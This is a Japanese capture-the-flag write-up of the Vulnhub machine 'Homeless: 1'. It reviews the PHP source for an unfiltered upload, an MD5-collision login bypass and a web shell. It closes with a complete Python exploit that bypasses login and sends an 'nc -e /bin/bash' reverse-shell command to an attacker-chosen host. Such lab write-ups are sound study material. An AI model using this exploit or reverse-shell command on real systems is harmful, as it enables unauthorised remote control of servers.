ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Homeless - Authentication Bypass through MD5 Collision Attack]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/homeless/)
#Homeless
- サーバー名: Homeless: 1
- リリース日: 2017年1月29日
- 作者: Creatigon
- シリーズ: Homeless
#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造
/var/www/html
├── index.php
├── robots.txt
├── myuploader_priv
│ ├── files
│ │ ├── 887beed152a3e8f946857bade267bb19d159ef59.txt
│ │ ├── index.php
│ │ └── shell.php
│ └── index.php
└── d5fa314e8577e3a7b8534a014b4dcb221de823ad
├── admin.php
├── index.php
└── index.php.bak
#ソースコード検証
まずIndex.php。
HTTP USER AGENT
はCyberdogだけ許可されています。
<?php
$u_agent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/Cyberdog/i',$u_agent)){
echo "Nice Cache!.. Go there.. ";
echo "myuploader_priv";
}else{
echo $u_agent;
}
?>
次に/myuploader_priv/index.php。
このファイルではファイルにはアップロード機能があります。
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && @$_POST['submit']){
$filename = $_FILES["upme"]["name"];
$des = 'files/' . basename($_FILES["upme"]["name"]);
$filesize = $_FILES['upme']['size'];
if($filesize > 8){
echo "Your file is too large " . $filesize;
}else{
system("find files ! -name '887beed152a3e8f946857bade267bb19d159ef59.txt' ! -name 'index.php' -type f -exec rm -f {} +");
if(move_uploaded_file($_FILES['upme']['tmp_name'], $des)){
echo "File uploaded. Find the secret file on server .. files/".$filename;
}
}
}
?>
システムは、アップロード中のファイルを保存する前に、以前にアップロードしたファイルをすべて削除します。
アップロードフェーズでは拡張子やコンテンツのチェックが実行されないため、バックドアをアップロードできそうです。
ただし、ファイルサイズには制限8バイトの制限があります。
<?=`ls` // 7 characters
/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php
は認証機能を備えたファイルです。
<?php
if (($username == $password ) or ($username == $code) or ($password == $code)) {echo 'Your input can not be the same.';}
else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
echo "Well done!";
$_SESSION["secret"] = '133720';
header('Location: admin.php');
MD5 Collision攻撃が使えそう。
python-md5-collisionツールでMD5 Collisionを生成します。
$ md5sum f*
280329d5f2d5dca79041a4a9d50c2bff *f1
280329d5f2d5dca79041a4a9d50c2bff *f2
280329d5f2d5dca79041a4a9d50c2bff *f3
以下のスクリプトでMD5 CollisionをURLエンコードします。
#!/usr/bin/python3
import sys
import urllib.parse
if len(sys.argv) < 1:
print("[-] Missing file name")
else:
try:
with open(sys.argv[1],'rb') as f:
contents = f.read()
url = urllib.parse.quote(contents)
print("[+] Urlencoded file:")
print(url)
except Exception as e:
print("[-] Could not open file")
print(e)
urlencode.pyでHTTPPostリクエスト内の各ファイルをエンコードできます。
ファイルを任意の組み合わせてログインができるます。
username=$(python3 urlencode.py f1 | grep -v Urlencoded)
password=$(python3 urlencode.py f2 | grep -v Urlencoded)
code=$(python3 urlencode.py f3 | grep -v Urlencoded)
最後にadmin.phpはWebシェルでした。
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['submit'])){
$cmd = (string)$_POST['command'];
echo "<pre>";system($cmd);echo "</pred>";
}
?>
#RCE
以下のステップでシェルを奪います。
- MD5 Collisionで認証バイパス
- admin.php(Webシェル)で、リバースシェルを受け取る。
#!/usr/bin/python3
import requests
import argparse
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import os, sys, re
import binascii
import string, hashlib, time
def proxy(flag):
return {"http" : "http://127.0.0.1:8080", "https" : "http://127.0.0.1:8080"} if flag else None
def geturl(target=None, type=None):
if type == "login":
return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php"
elif type == "admin":
return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php"
else:
return None
def setup_listener(lport):
print("[+] Setting up listener")
try:
if os.name == "nt":
subprocess.Popen("start cmd /c nc.exe -lvp " + lport, shell=True)
else:
subprocess.Popen("gnome-terminal -- nc -lvkkp" + lport + "2>/dev/null", shell=True)
time.sleep(1)
except:
print("[-] Could not setup listener")
return False
finally:
return True
def md5_collisions():
try:
with open("f1", "rb") as f1, open("f2", "rb") as f2, open("f3", "rb") as f3:
try:
return (urllib.parse.quote(f1.read()), urllib.parse.quote(f2.read()), urllib.parse.quote(f3.read()))
except:
print("[-] Cannot encode collisions files")
sys.exit()
except:
print("[-] Cannot find md5 collisions files: f1, f2, f3")
sys.exit()
def login(target, proxy):
url = geturl(target,"login")
username, password, code = md5_collisions()
headers= { "Content-Type" : "application/x-www-form-urlencoded"}
data = "username={}&password={}&code={}&login=Login".format( username, password, code)
res = requests.post(url, headers=headers, data=data, proxies=proxy, allow_redirects=False, verify=False)
if re.search(r"Well.*done",res.text):
print("[+] Logged in successfully")
return res.cookies
else:
return None
def revshell(target, lhost, lport, cookies, proxy):
url = geturl(target,"admin")
data = {"command": "nc -e /bin/bash {} {}".format(lhost,lport), "submit": "Invia richiesta"}
try:
requests.post(url, cookies=cookies, data=data, proxies=proxy, allow_redirects=False, verify=False, timeout=2)
except requests.exceptions.ReadTimeout:
return True
except:
raise
def exploit(target, lhost, lport, proxy):
cookies = login(target, proxy)
if not cookies:
print("[-] Could not login")
sys.exit()
if setup_listener(lport):
try:
revshell(target, lhost, lport, cookies, proxy)
except:
print("[+] Reverse shell failed to open")
def main():
parser = argparse.ArgumentParser(description='Upload a shell in ATutor')
parser.add_argument(
'-H', '--lhost', required=True, type=str, help='Local Listener IP Address')
parser.add_argument(
'-P', '--lport', required=True, type=str, default="443", help='Local Listener Port')
parser.add_argument(
'-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')
parser.add_argument(
'-t', '--target', required=True, type=str, default=None, help='Homeless IP or domain')
args = parser.parse_args()
exploit(args.target, args.lhost, args.lport, proxy(args.proxy))
if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
main()
エクスプロイトを実行して、リバースシェルをキャッチ。
python exploit.py -t homeless.local -H MY_IP_ADDRESSS -P 4444 -x